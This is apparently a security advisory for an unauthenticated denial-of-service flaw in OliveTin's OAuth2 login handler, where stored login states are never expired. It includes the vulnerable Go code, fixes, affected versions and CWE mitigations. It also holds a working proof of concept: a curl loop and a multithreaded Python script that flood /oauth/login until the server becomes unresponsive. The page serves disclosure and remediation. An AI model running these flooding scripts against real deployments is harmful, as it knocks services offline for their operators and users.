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GHSA-xpxj-f2fm-rqch CVE-2026-67437 GO-2026-6146

OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)

High Go
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.64%
Chance of exploitation in the next 30 days. Higher than 50.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-401 Missing Release of Memory after Effective Lifetime
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
0.0.0-20260708075951-ec114e95d297
Upgrade github.com/OliveTin/OliveTin to this version or later

Description

Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (registeredStates) that grows unboundedly. States are added on every /oauth/login request but are never deleted or expired. An unauthenticated attacker can send millions of requests to /oauth/login to fill the map with state entries, exhausting server memory and causing a denial of service.

This is distinct from CVE-2026-28789 (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a sync.RWMutex. This vulnerability is about the unbounded growth of the map even WITH the mutex, as no cleanup mechanism exists.

Affected Versions

  • All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

Details

In service/internal/auth/otoauth2/restapi_auth_oauth2.go:

type OAuth2Handler struct {
    cfg                 *config.Config
    mu                  sync.RWMutex
    registeredStates    map[string]*oauth2State  // NEVER cleaned up
    registeredProviders map[string]*oauth2.Config
}

The HandleOAuthLogin handler adds a new state on every request:

func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) {
    state, _ := randString(16)  // 24-byte base64 string
    // ...
    h.mu.Lock()
    h.registeredStates[state] = &oauth2State{
        providerConfig: provider,
        providerName:   providerName,
        Username:       "",
    }
    h.mu.Unlock()
    // ... redirect to OAuth2 provider
}

The HandleOAuthCallback handler updates existing states but never removes them:

func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) {
    // ...
    h.mu.Lock()
    h.registeredStates[state].Username = userinfo.Username  // Updates, never deletes
    h.registeredStates[state].Usergroup = ...
    h.mu.Unlock()
}

There is no TTL, no expiry check, no periodic cleanup, and no max size limit on registeredStates.

Memory Impact Per State

Each map entry consists of:

  • Key: ~24 bytes (base64 string)
  • Value: *oauth2State struct containing:
    • providerConfig *oauth2.Config (pointer, 8 bytes + shared config)
    • providerName string (~8-16 bytes)
    • Username string (empty initially)
    • Usergroup string (empty initially)
  • Go map overhead: ~100-150 bytes per entry

Estimated: ~200 bytes per state entry

At 1 million states ≈ 200 MB of memory consumed. At 10 million states ≈ 2 GB of memory consumed.

Attack Vector

The /oauth/login endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

PoC

Prerequisites

  • OliveTin instance with at least one OAuth2 provider configured
  • Network access to /oauth/login

Config

listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "INFO"
checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback"
authOAuth2Providers:
  github:
    clientId: "test-client-id"
    clientSecret: "test-client-secret"

actions:
  - title: noop
    shell: echo "ok"

Step 1: Baseline health check

curl -i http://127.0.0.1:1337/readyz
# Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github"
# Expected: 302 Found (redirect to GitHub)

Step 2: Flood with state-creation requests

# Each request creates a new map entry that is never cleaned up
for i in $(seq 1 100000); do
  curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" &
  # Throttle to avoid connection limits
  if (( i % 500 == 0 )); then
    wait
    echo "Sent $i requests..."
  fi
done
wait
echo "Flood complete"

Step 3: Python PoC for sustained memory exhaustion

#!/usr/bin/env python3
"""PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash).
This exploits unbounded growth of the registeredStates map.
"""

import requests
import time
import sys
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337"
PROVIDER = "github"
WORKERS = 50
TOTAL_REQUESTS = 500000
BATCH_SIZE = 1000

def create_state(_):
    """Send /oauth/login to create a new state entry."""
    try:
        requests.get(
            f"{TARGET}/oauth/login?provider={PROVIDER}",
            allow_redirects=False,
            timeout=5
        )
        return True
    except Exception:
        return False

def check_health():
    """Check if the server is still responsive."""
    try:
        r = requests.get(f"{TARGET}/readyz", timeout=5)
        return r.status_code == 200
    except Exception:
        return False

print(f"[*] Target: {TARGET}")
print(f"[*] Provider: {PROVIDER}")
print(f"[*] Total requests: {TOTAL_REQUESTS}")
print(f"[*] Workers: {WORKERS}")
print()

if not check_health():
    print("[!] Server not reachable")
    sys.exit(1)

start_time = time.time()
total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor:
    for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE):
        batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS)
        results = list(executor.map(create_state, range(batch_start, batch_end)))
        total_created += sum(results)

        elapsed = time.time() - start_time
        rate = total_created / elapsed if elapsed > 0 else 0
        est_memory = total_created * 200 / 1024 / 1024  # MB

        print(f"  States created: {total_created:>8} | "
              f"Rate: {rate:>6.0f}/s | "
              f"Est. memory: {est_memory:>6.1f} MB | "
              f"Healthy: {check_health()}")

        if not check_health():
            print(f"\n[!] Server became unresponsive after {total_created} states!")
            print(f"[!] Estimated memory consumed: {est_memory:.1f} MB")
            break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s")

Step 4: Verify memory growth (Docker)

docker stats olivetin-instance --no-stream
# Observe MEM USAGE growing continuously during the attack

Impact

  • Who is impacted: All OliveTin deployments with any OAuth2 provider configured
  • Attack requirements: Unauthenticated network access to /oauth/login
  • Effect: Gradual memory exhaustion leading to OOM kill or service degradation
  • Persistence: Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required
  • Distinction from CVE-2026-28789: That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

Suggested Fix

  1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie MaxAge)
  2. Add a maximum state count (e.g., 10,000) with LRU eviction
  3. Clean up states after successful callback
  4. Add periodic garbage collection for expired states

Affected versions

Go

PackageVulnerableFixed in
github.com/OliveTin/OliveTin
>= 0.0.0-20251024001301-45f9c18bc3ee, < 0.0.0-20260708075951-ec114e95d297
0.0.0-20260708075951-ec114e95d297

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/OliveTin/OliveTin Go → 0.0.0-20260708075951-ec114e95d297

go
go get github.com/OliveTin/OliveTin@v0.0.0-20260708075951-ec114e95d297 && go mod tidy

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-401: Missing Release of Memory after Effective Lifetime

The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.

How to prevent it
  • Implementation: Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone. For example, glibc in Linux provides protection against free of invalid pointers. When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [REF-391]. To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.
  • Architecture and Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.
  • Architecture and Design, Build and Compilation: Consider using the Boehm-Demers-Weiser garbage collector (bdwgc), which can help avoid leaks.

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-jm28-2wcr-qf3h
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xc5w-4v5w-7x65
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Medium Also affects github.com/OliveTin/OliveTin
GHSA-prj9-97mp-mwh2
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
Medium Also affects github.com/OliveTin/OliveTin
GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Low Also affects github.com/OliveTin/OliveTin
GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
High Also affects github.com/OliveTin/OliveTin
GHSA-xx6g-43w2-9g6g
OliveTin's email argument makes compliance harder, enables log injection
Medium Also affects github.com/OliveTin/OliveTin
GHSA-228v-wc5r-j8m7
OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream
Medium Also affects github.com/OliveTin/OliveTin
GHSA-364q-w7vh-vhpc
OliveTin's unsafe parsing of UniqueTrackingId can be used to write files
High Also affects github.com/OliveTin/OliveTin
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